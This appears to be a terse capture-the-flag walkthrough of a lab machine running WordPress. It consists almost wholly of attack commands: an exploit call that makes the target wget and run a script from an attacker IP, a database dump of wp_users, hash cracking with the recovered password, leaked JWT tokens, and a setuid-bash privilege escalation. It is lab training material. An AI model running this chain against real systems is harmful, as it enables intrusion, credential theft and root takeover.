Malleum Knowledge Base

Report Name

1 min read

Enumeration

  • Blog Website Created in WordPress
  • Stephen Hawking Researcher
  • Using Buddy forms plugin
python SPOILER_cnext-exploit.py 'http://blog.bigbang.htb/wp-admin/admin-ajax.php' 'wget http://10.10.14.68/bad.sh -O /tmp/bad.sh && sh /tmp/bad.sh'


socks5 start

proxychains4 -f /etc/proxychains4.conf mysql -u wp_user -p -h 172.17.0.1 wordpress


select * from inforamtion_schema.tables;

select * from wp_users;

 
hashcat -m 400  hash /usr/share/wordlists/rockyou.txt


$P$Br7LUHG9NjNk6/QSYm2chNHfxWdoK./:quantumphysics

ssh shawking@10.129.169.87
  • start the socks5 from this shell
proxychains -f /etc/proxychains4.conf curl -X POST http://127.0.0.1:9090/login -H "Content-Type: application/json" -d '{"username":"developer","password":"bigbang"}'


{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczODEwMDA5OCwianRpIjoiYmZhYmRjNGMtY2JjNy00MTk4LTk4ZGYtNWVmOWQ2M2JlOTdiIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczODEwMDA5OCwiY3NyZiI6IjI4NzE1M2E4LWIwYjQtNDljMC04OTI3LTQ1ZDFkN2JlZDEwMSIsImV4cCI6MTczODEwMzY5OH0.n0HOhbVB7sRxRVeosRSxyV1idOL2JjbvsAipnpIbaMs"}

#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
chmod +x /tmp/rootbash



curl -X POST http://127.0.0.1:9090/command -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTczODEwMTMzOCwianRpIjoiODk5YzM5ZjgtY2RmMC00YTk4LTllY2MtMzI4MzVhOWE4YzE5IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmVsb3BlciIsIm5iZiI6MTczODEwMTMzOCwiY3NyZiI6IjJlOTQ4ODI2LTkxZjAtNDJkNy1iNTRiLTMwOTczZTFmMjFkYyIsImV4cCI6MTczODEwNDkzOH0.7eMM1JPUr1VHU6uK93wu6qt9aFty9BoWBv_ZkjGKqCQ" -H "Content-Type: application/json" -d '{
    "command": "send_image",
    "output_file": "\/tmp/privesc"
}'


./rootbash -p

Graph View